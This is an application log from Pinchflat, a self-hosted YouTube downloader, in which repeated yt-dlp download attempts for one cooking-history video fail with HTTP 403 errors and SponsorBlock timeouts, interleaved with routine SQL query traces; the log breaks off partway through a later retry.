02:57:03.244 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775026623244509885,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:57:03.244 [debug] QUERY OK source="media_items" db=0.1ms idle=1717.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 02:57:03.245 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:57:03.245 [debug] QUERY OK source="sources" db=0.1ms idle=1008.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:57:03.245 [debug] QUERY OK source="media_profiles" db=0.1ms idle=717.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:57:03.246 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 02:57:03.246 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 02:57:03.246 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:57:03.247 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:57:03.247 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:57:03.247 [debug] Running yt-dlp command for action: get_downloadable_status 02:57:03.248 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:57:03.248 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:57:03.248 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:57:03.248 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/dd/41/dd419d599c2db87a014365de710607d635025e34b2201838d399d8949e47ff64.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:57:06.924 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/dd/41/dd419d599c2db87a014365de710607d635025e34b2201838d399d8949e47ff64.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 02:57:06.924 [debug] Running yt-dlp command for action: download 02:57:06.924 [debug] QUERY OK source="settings" db=0.1ms idle=682.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:57:06.924 [debug] QUERY OK source="settings" db=0.0ms idle=397.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:57:06.925 [debug] QUERY OK source="settings" db=0.1ms idle=397.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:57:06.925 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a3/4a/a34a7589007d0c01d1a1bc269f94d6b8a21ac14d71dfc496508ff78f520dea47.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:57:21.142 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:51.143 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.447 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:58:03.204 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a3/4a/a34a7589007d0c01d1a1bc269f94d6b8a21ac14d71dfc496508ff78f520dea47.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0). Retrying (1/3)... WARNING: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0). Retrying (2/3)... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 02:58:03.204 [error] yt-dlp download error for media item #13061: "WARNING: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0). Retrying (1/3)...\nWARNING: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0). Retrying (2/3)...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 02:58:03.204 [error] Unable to recover error for media item #13061: {:error, %Jason.DecodeError{position: 0, token: nil, data: ""}} 02:58:03.206 [debug] QUERY OK source="media_items" db=1.0ms idle=1677.5ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["WARNING: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0). Retrying (1/3)...\nWARNING: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0). Retrying (2/3)...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n", ~U[2026-04-01 06:58:03Z], 13061] 02:58:03.206 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":59961853,"event":"job:exception","queue_time":461738,"attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:58:21.144 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:51.145 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:51.369 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775026731369465216,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:58:51.369 [debug] QUERY OK source="media_items" db=0.2ms idle=842.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 02:58:51.370 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:58:51.370 [debug] QUERY OK source="sources" db=0.1ms idle=842.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:58:51.370 [debug] QUERY OK source="media_profiles" db=0.1ms idle=225.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:58:51.371 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 02:58:51.371 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 02:58:51.372 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:58:51.372 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:58:51.372 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:58:51.372 [debug] Running yt-dlp command for action: get_downloadable_status 02:58:51.373 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:58:51.373 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:58:51.373 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:58:51.373 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f0/63/f0636a9f5c0c20250ab3b9346b6ea3f42dca1b00554343943c53da617319de26.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:58:55.182 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f0/63/f0636a9f5c0c20250ab3b9346b6ea3f42dca1b00554343943c53da617319de26.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 02:58:55.182 [debug] Running yt-dlp command for action: download 02:58:55.183 [debug] QUERY OK source="settings" db=0.2ms idle=816.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:58:55.183 [debug] QUERY OK source="settings" db=0.0ms idle=655.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:58:55.183 [debug] QUERY OK source="settings" db=0.0ms idle=655.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:58:55.183 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/42/dc/42dcb14a0a3520a92aee1ed475d9178d955c077e9ad51740e8ccefd80537edd9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:59:00.156 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/42/dc/42dcb14a0a3520a92aee1ed475d9178d955c077e9ad51740e8ccefd80537edd9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 02:59:00.156 [error] yt-dlp download error for media item #13061: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 02:59:00.161 [debug] QUERY OK source="media_items" db=3.9ms idle=1629.5ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n", ~U[2026-04-01 06:59:00Z], 13061] 02:59:00.161 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":8791803,"event":"job:exception","queue_time":162093,"attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:59:00.448 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:59:21.147 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:51.148 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:00.449 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:00:21.149 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:24.464 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775026824464382989,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:00:24.464 [debug] QUERY OK source="media_items" db=0.1ms idle=1008.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 03:00:24.465 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:00:24.465 [debug] QUERY OK source="sources" db=0.1ms idle=937.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:00:24.465 [debug] QUERY OK source="media_profiles" db=0.1ms idle=937.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:00:24.466 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 03:00:24.466 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 03:00:24.466 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", 